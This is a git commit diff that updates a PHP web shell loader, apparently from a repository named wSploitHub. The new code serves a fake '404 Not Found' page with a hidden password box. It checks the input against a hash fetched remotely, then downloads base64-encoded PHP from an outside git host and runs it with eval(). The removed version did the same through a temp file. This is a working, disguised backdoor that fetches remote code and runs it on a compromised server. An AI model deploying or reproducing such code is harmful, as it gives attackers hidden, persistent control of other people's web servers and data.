Update shell/wshell.php
This commit is contained in:
parent
2d9e366a52
commit
e16bad17a5
122
shell/wshell.php
122
shell/wshell.php
@ -1,27 +1,113 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
// API
|
||||
$valid_key_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v1/wshell-key"; // API Key
|
||||
$valid_key_hash = trim(file_get_contents($valid_key_url));
|
||||
|
||||
// Fungsi
|
||||
function show_login_form($error_message = '') {
|
||||
?>
|
||||
<html style="height:100%">
|
||||
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<title> 404 Not Found</title>
|
||||
<script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="["facebook.com/","twitter.com/","youtube-nocookie.com/embed/","//vk.com/","//www.vk.com/","linkedin.com/","//www.linkedin.com/","//instagram.com/","//www.instagram.com/","//www.google.com/recaptcha/api2/","//hangouts.google.com/webchat/","//www.google.com/calendar/","//www.google.com/maps/embed","spotify.com/","soundcloud.com/","//player.vimeo.com/","//disqus.com/","//tgwidget.com/","//js.driftt.com/","friends2follow.com","/widget","login","//video.bigmir.net/","blogger.com","//smartlock.google.com/","//keep.google.com/","/web.tolstoycomments.com/","moz-extension://","chrome-extension://","/auth/","//analytics.google.com/","adclarity.com","paddle.com/checkout","hcaptcha.com","recaptcha.net","2captcha.com","accounts.google.com","www.google.com/shopping/customerreviews","buy.tinypass.com","gstatic.com","secureir.ebaystatic.com","docs.google.com","contacts.google.com","github.com","mail.google.com","chat.google.com","audio.xpleer.com","keepa.com","static.xx.fbcdn.net","sas.selleramp.com","1plus1.video","console.googletagservices.com","//lnkd.demdex.net/","//radar.cedexis.com/","//li.protechts.net/","challenges.cloudflare.com/","ogs.google.com"]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script>
|
||||
<style>
|
||||
@media (prefers-color-scheme:dark){body{background-color:#000!important}}
|
||||
.inputkey {
|
||||
background-color: #000;
|
||||
border: 0 #000;
|
||||
color: grey;
|
||||
}
|
||||
.btnkey {
|
||||
background-color: #000;
|
||||
color: #000;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ==">
|
||||
<div style="height:auto; min-height:100%; " bis_skin_checked="1"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1">
|
||||
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
|
||||
<h2 style="margin-top:20px;font-size: 30px;">Not Found
|
||||
</h2>
|
||||
<p>The resource requested could not be found on this server!</p>
|
||||
<?php if ($error_message): ?>
|
||||
<p style="color: red;"><?php echo $error_message; ?></p>
|
||||
<?php endif; ?>
|
||||
<form method="post" action="">
|
||||
<label for="key"></label>
|
||||
<input class="inputkey" type="password" name="key" id="key" required>
|
||||
|
||||
</form>
|
||||
</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1">
|
||||
<br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
<?php
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/wshell2';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
// Fungsi Menuju Dashboard
|
||||
function show_dashboard() {
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
|
||||
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/wshell';
|
||||
$keyHash = trim(get_contents($hashUrl));
|
||||
if (empty($keyHash)) {
|
||||
die("Gagal mengambil hash key dari URL.\n");
|
||||
}
|
||||
$encoded_code = get_contents($codeUrl);
|
||||
if (empty($encoded_code)) {
|
||||
die("Gagal mengambil kode terenkripsi dari URL.\n");
|
||||
}
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
$clean_code = str_replace($keyHash, '', $decoded_code);
|
||||
|
||||
// Menjalankan kode langsung dari memori
|
||||
eval("?>" . $clean_code);
|
||||
}
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
// Cek apakah Dia Ingin keluar hati
|
||||
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
|
||||
session_destroy();
|
||||
header("Location: ?"); // Redirect ke Hati orang lain
|
||||
exit;
|
||||
}
|
||||
|
||||
// Cek apakah Dia sudah memiliki seseorang?
|
||||
$error_message = '';
|
||||
if (isset($_POST['key'])) {
|
||||
$input_key = $_POST['key'];
|
||||
$input_key_hash = md5($input_key);
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
// Cek apakah Cintaku padanya diterima?
|
||||
if ($input_key_hash === $valid_key_hash) {
|
||||
$_SESSION['loggedin'] = true;
|
||||
header("Location: ?"); // Redirect ke Hati Dia untuk refresh
|
||||
exit;
|
||||
} else {
|
||||
$error_message = "hatimu Tidak diterima, Cobalah untuk sadar diri!"; // Kesalahan Hati
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
// Jika sudah login ke hatinya
|
||||
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
|
||||
show_dashboard();
|
||||
} else {
|
||||
// Jika belum login
|
||||
show_login_form($error_message);
|
||||
}
|
||||
?>
|
||||
|
Loading…
Reference in New Issue
Block a user